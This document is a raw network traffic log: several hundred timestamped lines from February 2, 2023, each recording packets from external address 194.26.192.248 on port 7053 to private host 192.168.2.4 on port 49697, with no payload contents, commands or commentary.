Feb 2, 2023 08:11:30.638886929 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.638900995 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.638926983 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.638941050 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.638972998 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.638988018 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.639516115 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.639717102 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.639816999 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.639848948 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.639894962 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.639909983 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.639924049 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.639970064 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.640007973 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.640059948 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.640090942 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.640392065 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.640412092 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.640575886 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.640594006 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.640652895 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.640691996 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.640734911 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.640753031 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.640813112 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.640845060 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.640875101 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.641638994 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.641700983 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.641720057 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.641769886 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.641805887 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.641825914 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.641844034 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.641860962 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.641879082 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.641932964 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.641968966 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.641987085 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.642061949 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.642080069 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.642096996 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.642115116 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.642740965 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.642761946 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.642780066 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.642817020 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.642838955 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.642857075 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.642874956 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.642891884 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.642936945 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.642955065 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.643723965 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.643834114 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.643857002 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.643874884 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.643903017 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.643923998 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.643946886 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.643981934 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644016981 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644054890 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644093990 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644352913 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644423962 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644439936 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644495010 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644536018 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644551992 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644576073 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644591093 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644607067 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644620895 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644635916 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644650936 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.644665956 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.645701885 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.645724058 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.645737886 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.645771027 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.645862103 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.645904064 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.645919085 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.645935059 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646050930 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646090984 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646133900 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646178961 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646212101 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646255970 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646271944 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646380901 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646395922 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646538973 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646620035 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646651030 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646758080 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646774054 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646912098 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646930933 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.646979094 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.647022963 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.647042036 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.647061110 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.647123098 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.647144079 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.647177935 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.648072958 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.648231030 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.648260117 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.648279905 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.648298025 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.648318052 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.648335934 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.648355007 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.648467064 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.648487091 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.650075912 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.650100946 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.650119066 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.650136948 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.650155067 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.650988102 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651019096 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651038885 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651058912 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651077986 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651098013 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651118040 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651138067 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651158094 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651176929 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651197910 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651216984 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651236057 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651254892 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651274920 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651949883 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651979923 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.651998043 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.652017117 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.652034998 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.652065039 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.652082920 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653238058 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653264999 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653285027 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653304100 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653323889 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653343916 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653362989 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653383970 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653403044 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653423071 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653443098 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653462887 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653482914 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653503895 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653522968 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653542042 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653561115 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653579950 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653599977 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653619051 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653637886 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653659105 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653678894 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653697968 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653717995 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653737068 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653755903 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653774977 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653794050 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653810978 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653830051 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653860092 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653878927 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.653983116 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654059887 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654098034 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654139996 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654159069 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654176950 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654205084 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654264927 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654284954 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654303074 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654427052 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654504061 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654544115 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654563904 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654582977 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654616117 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654656887 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654721022 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654740095 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654778957 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.654947996 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655145884 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655177116 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655225039 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655262947 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655282021 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655301094 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655339003 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655378103 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655420065 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655499935 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655580997 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655617952 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655659914 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655698061 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655742884 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655762911 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655781031 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655823946 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655844927 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655905008 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.655982018 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.656019926 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.656059027 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.656107903 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.656126976 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.656182051 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.663161039 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.663202047 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.663223028 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.663243055 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.663438082 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.663461924 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.663506985 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.663527012 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.664189100 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.664222956 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.664406061 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665095091 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665144920 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665183067 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665218115 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665236950 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665344954 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665380001 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665421009 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665462017 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665625095 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665709019 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665728092 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665750980 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665780067 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665824890 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665846109 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665864944 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.665946960 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.666029930 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.666460991 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.666487932 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.666543007 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.666588068 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.666606903 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.666625023 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.666665077 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.666683912 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.666718960 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.666785955 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.667812109 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.667855024 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.667876959 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.667916059 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.667938948 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.667958021 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.667978048 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.667999029 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.668019056 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.668039083 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.668109894 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.668699026 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.668793917 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.668812990 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.668833971 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.668870926 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.668890953 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.668908119 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.668926001 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.668943882 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.668962002 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669028044 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669147968 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669166088 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669183016 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669220924 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669260979 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669429064 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669447899 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669465065 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669500113 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669555902 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669713974 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669755936 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669775009 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669791937 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669810057 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669831991 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669874907 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669892073 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.669960022 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674493074 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674530983 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674549103 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674568892 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674586058 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674604893 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674623013 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674639940 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674659014 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674676895 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674706936 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674729109 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674746037 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674762964 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674782038 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674801111 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674818039 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674837112 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674854994 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674873114 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674890041 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674907923 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674925089 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674942017 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674959898 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.674978018 CET	7053	49697	194.26.192.248	192.168.2.4
